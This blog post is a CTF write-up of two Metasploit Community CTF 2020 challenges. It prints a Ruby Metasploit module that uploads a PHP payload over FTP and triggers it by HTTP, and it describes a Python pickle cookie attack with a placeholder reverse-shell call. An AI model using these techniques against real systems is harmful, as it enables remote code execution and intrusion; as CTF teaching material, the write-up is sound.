I tried to explain the least solved two challenges from the Metasploit Community CTF December 2020 according to the blog post from Rapid7. Even though we solved all the challenges, we could not get a place in the top 15. But it was a fun ctf and we enjoyed so kudos to the organizers.
5 of Clubs(39 solves): Writing a Metasploit Framework exploit module was required.
7 of Spades(33 solves): Exploiting the Python pickle was required.
Scoreboard
5 of Clubs
We were welcomed by the following web page
Basically it gives a pcap file and require us to write a metasploit framework exploit module in order to get the flag. There was two TCP streams that we could follow in Wireshark, one of them was FTP and the other one was HTTP.
FTP stream was basically telling us to include Msf::Exploit::Remote::Ftp class while writing the exploit module, Msf::Exploit::Remote::Tcp class could also be used but I didn’t want to deal with FTP passive mode stuff by myself.
HTTP stream was telling us to send a GET request to the PHP file which we were going to upload via FTP.
I used an actual exploit module as an example which uses Ftp and HttpClient classes and the exploit is written by MDISEC. When he wrote his exploit he encountered an issue by using Ftp and HttpClient classes in one module, see the pull/13093, and he fixed the problem for us.
# This module uploads a php payload via ftp # Then sends a get request to the uploaded payload # to be triggered defexploit #save previous port just in case port_restore = datastore["RPORT"]
# SET port 21 datastore['RPORT'] = 21 connect if connect_login print_good("FTP Log-in success") end
# change ftp dir to "files" print_status(send_cmd(["CWD files"])) # generate random php file name file_name = "#{rand_text_alphanumeric(6)}.php" print_status("Uploading file #{file_name}") # upload php payload via ftp method # metasploit framework handles ftp passive mode ip,port connection # while sending the data # for details about how the framework handles it # see the internal "send_cmd_data" function res = send_cmd_data(['PUT', file_name ], payload.encoded, 'I') print_status(res)
# RESTORE RPORT to 80 to be able to send # a GET request to the uploaded file datastore['RPORT'] = 80 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'files', file_name), }) # HTTP GET request fail check # unless res # fail_with(Failure::Unreachable, 'Target is unreachable.') # end # print_status(res) handler end end
After sending the above files to the challenge, we got the flag.
Flag 5 of Clubs
7 of Spades
We were welcomed by the following web page
Basically, it was listing Metasploit Framework modules by using some filtering mechanism. After inspecting the web page one of my teammate said it was using Python pickle in the cookies and wrote some helper functions in python and I’ve made changes according to what was needed.
if __name__ == "__main__": code_exec("SOME REVERSE SHELL PAYLOAD HERE")
After I got a reverse shell from the script I wrote above. I started searching for the flag on the system, but I couldn’t find. Then I started to look at python files. In the app.py file I saw the following code snipped. The code snipped below is just reads the flag.png file as bytes and assigns it to a variable called FLAG, then it deletes the flag.png file by calling the unlink function. That’s why I couldn’t find the flag at first but I was read and stored in python a variable.
app.py
1 2 3 4
with (app_path / 'flag.png').open('rb') as file_h: FLAG = file_h.read() ifnot config.DEBUG: (app_path / 'flag.png').unlink()
After seeing the snipped above, I thought I could write FLAG variable to a file by using my code_eval function. So called it by adding one line to our script.
7_of_spades_solver.py
1 2 3 4
# I neclect the upper parts because they're the same as previous. if __name__ == "__main__": code_exec("SOME REVERSE SHELL PAYLOAD HERE") code_eval('open("/tmp/flag.png","wb").write(FLAG)')
Flag 7 of Spades
I wrote FLAG variable to the /tmp/flag.png file. Then we got the flag by using our previous reverse shell.